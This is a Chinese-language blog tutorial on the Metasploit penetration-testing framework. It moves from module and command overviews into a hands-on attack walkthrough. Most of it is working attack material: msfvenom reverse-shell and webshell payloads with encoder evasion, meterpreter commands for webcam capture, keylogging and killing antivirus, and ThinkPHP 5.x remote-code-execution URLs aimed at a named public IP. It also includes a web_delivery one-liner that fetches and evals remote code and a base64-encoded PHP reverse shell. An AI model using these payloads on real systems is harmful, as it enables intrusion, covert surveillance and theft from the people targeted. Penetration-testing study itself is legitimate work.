• Metasploit渗透测试框架


    Metasploit简介

    Metasploit 是The Metasploit framework的简称,框架由多个module组成
    是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的漏洞,并持续保持更新。
    metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
    Kali-metasploit框架目录路径:/usr/share/metasploit-framework
    Metasploit目录
    data :包含 metasploit 用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
    documentation :包含框架的可用文档。
    lib metasploit 的库文件夹。
    plugins :用来存放 metasploit 的插件。
    scripts :用来存放 metasploit 的脚本,包括 meterpreter 及其它脚本。
    tools :存放多种的命令行实用程序。
    modules :存储 metasploit 的模块文件。
    Modules目录
    Msf所有的漏洞测试都是基于模块
    auxiliary :辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
    exploits :漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命 名规则: 操作系统 / 各种应用协议分类
    payloads :攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹 shell 的代码
    post :后渗透阶段模块,漏洞利用成功获得 meterpreter 之后,向目标发送的一些功能性指令,如:提权等
    encoders :编码器模块,主要包含各种编码工具,对 payload 进行编码加密,以便绕过入侵检测和过滤系统
    evasion :躲避模块,用来生成免杀 payload
    nops :空指令就是空操作,提高 paylaod 稳定性及维持大小

    Metasploit模块使用

    Msfconsole

    Msfconsole是Metasploit框架用户接口,我们能通过Msfconsole接口使用Metasploit中所有模块

    Msfconsole主要用于:

    1.管理Metasploit数据库
    2.管理会话 3.配置启动Metasploit模块

    启动方式:

    kali终端输入: msfconsole

    kali-metasploit更新:

    msfconsole -v # 查看版本
    apt-get update
    apt-get install metasploit-framework

    msfconsole基础使用

    help :该命令允许用户查看执行命令的帮助信息。
    use module :该命令允许用户加载选择的模块。
    set optionname module :该命令允许用户为模块设置不同的选项。
    run&exploit :运行一个模块
    search :搜索 msf 中相关组件
    exit :该命令允许用户退出 msfconsole

    MSF常用命令

    show exploits – 查看所有可用的渗透攻击程序代码
    show auxiliary – 查看所有可用的辅助攻击工具
    [show ]options/advanced – 查看该模块可用选项
    show payloads – 查看该模块适用的所有载荷代码 show targets – 查看该模块适用的攻击目标类型
    search – 根据关键字搜索某模块
    info – 显示某模块的详细信息
    use – 使用某渗透攻击模块
    back – 回退
    set/unset – 设置 / 禁用模块中的某个参数
    setg/unsetg – 设置 / 禁用适用于所有模块的全局参数

    环境演练

    某天你领导需要你对公司新买的服务器进行漏洞测试
    结合metasploit我们应该怎么做?

    信息收集

    通过nmap对目标进行漏洞探测及端口扫描

    nmap 扫描
    -T[0-5] :默认为 T3 T4 表示最大 TCP 扫描延迟为 10ms
    -sS TCP SYN 扫描
    -sA TCP ACK 扫描
    -sT TCP 扫描
    -A :打开操作系统探测和版本探测。
    --script=vuln :检查是否具有常见漏洞

    Auxiliary模块

    Exploit模块

    Meterpreter扩展模块

    Meterpreter介绍

    meterpreter是一个高级、动态、可扩展的payload,简单理解是一个高级的CMD,里面封装了Metasploit的
    功能

    如何进入Meterpreter

    background :将当前 session 挂起
    sessions[ -l] :列出当前所有的 session
    sessions[ -i] id :进入某个 session 如何开启对方摄像头呢???

    开启摄像头

    开启摄像头需要拥有meterpreter
    webcam_list :查看摄像头 webcam_snap :通过摄像头拍照 webcam_stream :通过摄像头开启视频
    得到的shell不是meterpreter怎么办??

    Shell转meterpreter

    sessions –u id:将某个session转为meterpreter

    Meterpreter基本利用

    上传 执行 下载 execute :在目标机器执行文件
    创建新进程 cmd.exe -H 不可见, -i 交互
    Upload: 上传文件
    Download: 下载文件

    Meterpreter常用命令

    meterpreter > background 放回后台
    meterpreter > exit 关闭会话
    meterpreter > help 帮助信息
    meterpreter > sysinfo 系统平台信息
    meterpreter > screenshot 屏幕截取
    meterpreter > shell 命令行 shell (exit 退出 )
    meterpreter > getlwd 查看本地目录
    meterpreter > lcd 切换本地目录
    meterpreter > getwd 查看目录
    meterpreter > ls 查看文件目录列表
    meterpreter> keyscan_start 开启键盘记录
    start 改为 stop 则为关闭
    meterpreter > cd 切换目录
    meterpreter > rm 删除文件
    meterpreter > download C:\\1.txt 1.txt 下载文件
    meterpreter > upload /var/www/wce.exe wce.exe 上传 文件
    meterpreter > search -d c: -f *.doc 搜索文件
    meterpreter > execute -f cmd.exe -i 执行程序 / 命令
    meterpreter > ps 查看进程
    meterpreter > getuid 查看当前用户权限 meterpreter > run killav 关闭杀毒软件
    meterpreter > run getgui-e 启用远程桌面

    Msfvenom生成Payload

    Msfvenom msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一
    个框架实例中。
    msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,获得meterpreter

    Msfvenom常用参数

    -p --payload ,指定特定的 Payload ,如果被设置为 - ,那么从标准输入流中读取。几乎支持全平台。
    -l --list ,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
    -n --nopsled ,指定 nop payload 中的数量
    -f --format ,指定 Payload 的输出格式( --list formats :列出所有可用的输出格式)
    -e --encoder ,指定使用的 encoder
    -a --arch ,指定目标系统架构
    --platform :指定目标系统平台
    -s --space ,设置未经编码的 Payload 的最大长度( --encoder-space :编码后的 Payload 的最大长度)
    -b --bad-chars ,设置需要在 Payload 中避免出现的字符,例如: ’\0f’ ’\x00’
    -i --iterations ,设置 Payload 的编码次数
    --smallest :尽可能生成最短的 Payload
    -o --out ,保存 Payload 到文件

    Msfvenom生成windows可执行程序

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5445 –e x86/shikata_ga_nai
    –i 8 -f exe -o hello.exe
    X86/shikata_ga_nai 是指定对 shellcode 的编码方法,编码随机生成
    -i 8 是指定编码次数

    Msfconsole开启监听

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.40.132
    msf6 exploit(multi/handler) > set lport 5445
    msf6 exploit(multi/handler) > run Msfvenom生成web payload
    php
    msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f
    raw >shell.php
    asp
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
    LPORT= -f aspx - o shell.aspx
    jsp
    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f
    raw >shell.jsp
    war:
    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f
    war > shell.war

    web payload如何使用

    msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.151 lport=5000 -f raw –o
    /root/Desktop/shell.php

    Msfvenom生成脚本payload

    python
    msfvenom -p python/meterpreter/reverse_tcp LHOST= LPORT=
    -f raw > shell.py
    bash
    msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw
    > shell.sh
    perl msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw >
    shell.pl
    脚本payload上线

    Stageless&staged payload

    /meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别
    payload分为staged和stageless:
    Staged payload: /[arch]//
    Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:
    reverse_tcp、 bind_tcp
    Stageless payload: /[arch]/
    Stageless Meterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑
    在 一起,将完整的payload都编译在木马中,体积庞大
    Staged只建立连接并接受payload而stageless之间省去了接受payload的步骤

    Metasploit实战攻击

    目标站点:

    http://47.115.9.13:8081/

    利用方式

    ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
    http://47.115.9.13:8081/s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    http://47.115.9.13:8081/s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1]
    []=shell.php&vars[1][]=%3C?php%20@eval($_POST[ccc]);?%3E

    如何反弹MSF

    方法一:通过web站点,使用无文件的方式攻击利用执行
    方法二:通过web站点,上传webshell,返回给msf

    反弹shell

    利用命令执行漏洞,结合上一章的知识,我们可以怎么做?
    php:
    msfvenom-p php/meterpreter/reverse_tcp. LHOST= LPORT= -f
    raw >shell.php
    asp:
    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp. LHOST=
    LPORI= -f aspx - o shell.aspx.
    jsp:
    msvenom -p java/isp_shell reverse_tcp HOST= PORT= -f raw
    > shell.jsp
    war:
    msfvenom -p java/jsp_shell reverse_tcp LHOST= LPORT= -f
    war > shell.war

    Web_delivery

    当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场
    web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以使用web_delivery生成的一条命令建立连接。
    php -d allow_url_fopen=true -r "eval(file_get_contents(' http://192.168.8.186:8080/sOjTAmv ', false,
    stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
    另外 web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载到内存执行,有利于绕过检测
    web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target 0或1或2来设置是使用php还是python还是powershell等。
    msf6 > use exploit/multi/script/web_delivery
    msf6 exploit(multi/script/web_delivery) > set uripath /
    msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
    msf6 exploit(multi/script/web_delivery) > set target 1
    msf6 exploit(multi/script/web_delivery) > set lhost 150.158.137.72 msf6 exploit(multi/script/web_delivery) > run
    [*] Exploit running as background job 7.
    [*] Exploit completed, but no session was created.
    [*] Started reverse TCP handler on 0.0.0.0:4444
    [*] Using URL: http://0.0.0.0:8181/
    [*] Local IP: http://150.158.137.72:8181/
    [*] Server started.
    [*] Run the following command on the target machine:
    php -d allow_url_fopen=true -r "eval(file_get_contents('http://150.158.137.72', false,
    stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

    脚本payload利用

    Msfvenom –p php/meterpreter/reverse_tcp lhost= lport -f raw > xx.php
    http://150.158.137.72:8081/?
    s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20-
    n%20Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsgJHBvcnQgPSA5OTk4Oy
    BpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3sk
    aXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2
    NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYg
    PSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0
    xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190
    eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaW
    UoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBi
    cmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZS
    gpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4o
    JGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybG
    VuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJl
    YWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIC
    hleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkg
    eyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldm
    FsKCRiKTsgfSBkaWUoKTs=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsg
    JHBvcnQgPSA5OTk4OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID
    0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nr
    b3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaW
    YgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNP
    Q0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgey
    BkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0g
    aWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZn
    JlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYg
    KCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IH
    doaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQo
    JHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdH
    JsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9
    ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaX NhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygp
    OyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs=%20|base64 -d > yiye.php
    生成linux的可执行文件elf格式
    msfvenom –p linux/x64/meterpreter/reverse_tcp lhost= -p –f elf –o xx.elf

    通过webshell上传可执行文件

    msfvenom –p linux/x64/meterpreter/reverse_tcp lhost= -p –f elf –o xx.elf 上传至目标运行
    更改权限
    运行文件,本地监听
  • 相关阅读:
    红米Note12Turbo解锁BL刷入PixelExperience原生ROM系统详细教程
    SQL基础
    Vue3实现tab切换
    C语言结构体变量定义、引用、初始化
    C++11 智能指针
    渗透测试常用书签
    echarts和v-chart柱状图颜色渐变
    十一、一起学习Lua 迭代器
    MySql查询某个时间段内的数据(前一周、前三个月、前一年等)
    前端数据可视化之【title、legend、tooltip、toolbox 】配置项
  • 原文地址:https://blog.csdn.net/2301_80361487/article/details/139213892